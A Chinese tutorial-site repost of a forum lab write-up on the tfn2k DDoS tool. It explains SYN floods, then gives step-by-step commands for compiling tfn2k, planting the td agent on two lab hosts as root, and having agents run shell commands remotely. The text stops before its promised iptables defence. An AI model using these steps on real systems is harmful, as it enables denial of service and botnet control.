萬盛學電腦網

 萬盛學電腦網 >> Linux教程 >> 分布式拒絕服務攻擊(tfn2k)攻擊及iptables過濾測試

分布式拒絕服務攻擊(tfn2k)攻擊及iptables過濾測試

class="22831">

By lanf, 出處:http://www.linuxaid.com.cn/forum/

By wjpfjy From LinuxAID Forum

  首先,我寫這篇文章的目的,並不是我想成為什麼hacker之類,而且我不並不鼓勵任何人利用它來做一些有損他人的事情,我只是想多一些人關注網絡安全,共同研究並防御DOS。因為我是深受其害:(,所以,這篇文章僅用於技術參考,供大家研究DDOS防御之用。如果你利用它來做一些不合法的事情,那結果與我無關。

  拒絕服務攻擊(DOS,Denial Of Service)可以指任何使服務不能正常提供的操作。如軟件bug,操作失誤等。不過現在因為失誤操作而造成的dos,可能性非常小,更多的是惡意的攻擊行為。現在拒絕服務攻擊早已演變為分布式拒絕服務攻擊(DDOS,Distributed Denial Of Service),利用更多的代理集中攻擊目標,其危害更大。

  我們大家都知道tcp/ip協議現在已經成為整個internet框架協議,可以說,如果沒有tcp/ip,至少internet不會像現在這樣普及,甚至不可能會有internet。但凡事皆有兩面性,tcp/ip使我們大家受益,同時因為協議本身構造的問題,它也成為別人攻擊我們的工具。我們以tcp三握手建立連接的過程來說明。  

一、tcp syn flood
  

  1.客戶端(client)發送一個包含SYN(synchronize)的tcp包至服務器,此數據包內包含客戶端端口及tcp序列號等基本信息。

  2.服務器(server)接收到SYN包之後,將發送一個SYN-ACK包來確認。

  3.客戶端在收到服務器的SYN-ACK包之後,將回送ACK至服務器,服務器如接收到此包,則TCP連接建立完成,雙方可以進行通訊(感覺像,一拜天地...二拜高堂...送入洞房...哈哈)

  問題就出在第3步,如果服務器收不到客戶端的ACK包,將會等待下去,這種狀態叫做半連接狀態。它會保持一定時間(具體時間不同操作系統不同),如果SYN請求超過了服務器能容納的限度,緩沖區隊列滿,那麼服務器就不再接收新的請求了,其他合法用戶的連接都被拒絕掉。這種攻擊往往事半' 罪'倍,殺傷力超強。 

  當然,DOS攻擊的方法多種多樣,如:UDP flood,ICMP/Ping,ICMP/SMURF...,具體原理的介紹大家可以到 http://www.chinaitlab.com/www/special/ciwddos.asp去看看,有很詳細的原理及常用攻擊軟件介紹。不過說到DOS攻擊軟件,最具代表的莫過於tfn2k (Tribe Flood Network 2000),其作者是德國大名鼎鼎的mixter(其主頁http://mixter.void.ru/papers.html),好像最近正在埋頭搞什麼tfn3k,哎~~,不知道又有多少人寢食難安了...

二.tfn2k攻擊原理

  1.tfn2k的攻擊體系。

  tfn2k應該算是DDOS攻擊中的代表作,其所能實現的功能讓人瞠目結舌,歎為觀止...(對它的敬畏有如滔滔江水,延續不絕...)來看看它的架構。

  主控端---運行tfn客戶端,來遙控並指定攻擊目標,更改攻擊方法.(罪大惡極)

  代理端---被植入並運行td進程的犧牲品,接受tfn的指揮,攻擊的實施者.需要注意的是,一個攻擊者,往往控制多台代理來完成攻擊,而且其系統多為unix,linux等.(可憐的犧牲品)

  目標主機---被攻擊的主機或網絡,曾經被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者,郁悶如我)

  2.tfn2k特性。

  ◆ 主控端通過TCP、UDP、ICMP或隨機性使用其中之一(默認.隨機)的數據包向代理端主機發送命令,攻擊方法包括TCP/SYN、UDP、ICMP/PING、混合攻擊、TARGA3等。

  ◆ 主控端與代理端的通訊采取單向,即主控端只向代理端發送命令,並且會采取隨機的頭信息,甚至虛擬的源地址信息,代理端不會逆向向主控端發送任何信息.

  ◆ 所有命令經過CAST-256算法加命,其關鍵字即編譯程序時的輸入的口令.並且這個口令做為唯一認證憑證.

  ◆ 利用td進程,主控端可以遠程執行shell命令.

  ◆ td進程的名稱可以在編譯時更改,更便於隱藏.

  ◆ tfn可以編譯運行於win32及linux系統的.

  ...

  至於偽造源IP地址等功能,更是基本功能,並且其與老版本的tfn相比,它的發包效率更高,我自已的測試,在短短不到5分鐘,兩台代理機,使我的redhat linux 9.0系統癱瘓.

三.tfn2k 實戰測試

  1.測試環境:

   軟件:redhat linux 9.0
   硬件平台:
     master:
        IP: 192.168.0.6
       PIV2.4/256*2/rtl8139
     Ag1 :
        IP: 192.168.0.2
       PIV2.4/256*/rtl8139
     AG2 : IP: 192.168.0.3
       pIV2.6/512*2/3c905
     AIM: 192.168.0.5
       pIV2.66c/512*2/3c905
     switch: D_link des 1024R

  1.下載tfn2k.tgz(因為此軟件非比尋常,所以我並不提供下載地址,如果有興趣,自已到網上找吧)

  2.解壓: tar zxvf tfn2k.tgz

  3.修改文件

  A. src/Makefile 如果你的系統是linux系統,不需要做任何修就可以,如果是win32系統,請將


      # Linux / *BSD* / Others
      CC = gcc
      CFLAGS = -Wall -O3
      CLIBS =

  這幾行注釋掉,並將


      # Win32 (cygwin)
      #CC = gcc
      #CFLAGS = -Wall -DWINDOZE -O2
      #CLIBS =

  這幾行的注釋去掉.因為我的測試系統為redhat linux 9.0所以並未做任何修改.

  B. src/config.h ,默認的就可以用,如果感興趣,可以照其注釋信息進行調整。

  C. src/ip.h 這裡要做一些修改,否則編譯會有錯誤,發生重復定義。


     /*struct in_addr
      {
       unsigned long int s_addr;
     };*/

  注意啊~~我可是將它放在"/* */"之間,也就是注釋掉了:)    

  D.更改編譯器:

  因為tfn2k支持的是egcs-1.1.2-30,而redhat linux9.0所包含的是gcc-3.2.2-5,所以如果不替換掉gcc,tfn2k是編譯不過去的.需要注意的是,更改之後,有可能會造成基於gcc3.2.2的軟件編譯不去,請謹慎而行.

  方法很簡單的,找到一張redhat linux 6.2安裝盤,將egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/


    cd /mnt/cdrom/Redhat/RPMS
    cp egcs-1.1.2-30* cpp-1.1.2-30* ~/

  安裝cpp rpm -Uvh --nodeps --oldpackage cpp-1.1.2-30.i386.rpm

  安裝egcs rpm -Uvh egcs-1.1.2-30.i386.rpm

  (如果提示有誤,用nodeps、oldpackages、ignoreos等參數忽略過去就是了)

  4.編譯tfn2k


    cd tfn2k/src
    make

  首先會談出一個聲明,你必須接受,之後會提示輸入8-32位密碼,前邊提到過,這是唯一的認證憑證,會被分發於td進程中,所以一定要記牢噢~。

  編譯通過後,會產生td及tfn,這就是大名鼎鼎的tfn2k啦~,td是守護進程,用來安裝在代理中的,而tfn就是控制端.

  5.安裝td.

  將td上傳到我的兩台代理,ag1(192.168.0.2)和ag2(192.168.0.3) ,因為我只不過測試,所以用的是合法的root來上傳並執行td進程的,如果真要找到並安裝一個代理,你可能得費點兒神,因為沒有一個管理員會說 “come on baby ~~.我給你root,來安裝td做代理吧”


   [root@test /] ftp 192.168.0.2
      Connected to 192.168.0.2.
      530 Please login with USER and PASS.
      530 Please login with USER and PASS.
      Name (192.168.0.2:root): wjpfjy
      331 Please specify the password.
      Password:
      230 Login successful. Have fun.
      Remote system type is UNIX.
      Using binary mode to transfer files.
    ftp> put td (上傳td)
     local: td remote: td
     227 Entering Passive Mode (192,168,0,3,198,225)
     553 Could not create file.
    ftp> by (退出ftp)
     221 Goodbye.

   [root@test /]ssh 192.168.0.2
//登陸到ag1 以執行td ,注意,我用的是root帳戶,這樣才有足夠的權限來執行它.
       [email protected]'s password:
       Last login: Tue Feb 24 06:51:13 2004
   [root@ ag1 /]find / -name td -print
//找到剛上傳過來的文件td.
   [root@ ag1 wjpfjy/]chmod a+x td
//使之具有執行權限.
   [root@ ag1 wjpfjy/]./td
//運行td ,這樣你就擁有一個代理了,它會對你唯命是從的:(。

  

  用同樣的方法在ag2 (192.168.0.3)上安裝並運行TFN2k進程td.   

  6.攻擊開始(悲慘的回憶上演中...)

  回到master(192.168.0.6 ),准備演練...


   [root@master root]#touch host.txt
//建立代理記錄文件(因為如果你足夠無聊的話,有可能會建立很多的肉雞-
//代理,不記下會忘記的噢.)
  [root@master root]echo "192.168.0.2" > host.txt 將執行過td的ag1加入host.txt。
  [root@master root]echo "192.168.0.3" >> host.txt 添加ag2到host.txt .

  先來測試一下鏈接。

  [root@master root]./tfn -f host.txt -c 10 -i "mkdir wjpfjy" 與host.txt中的代理通訊,讓其執行命令mkdir wj

copyright © 萬盛學電腦網 all rights reserved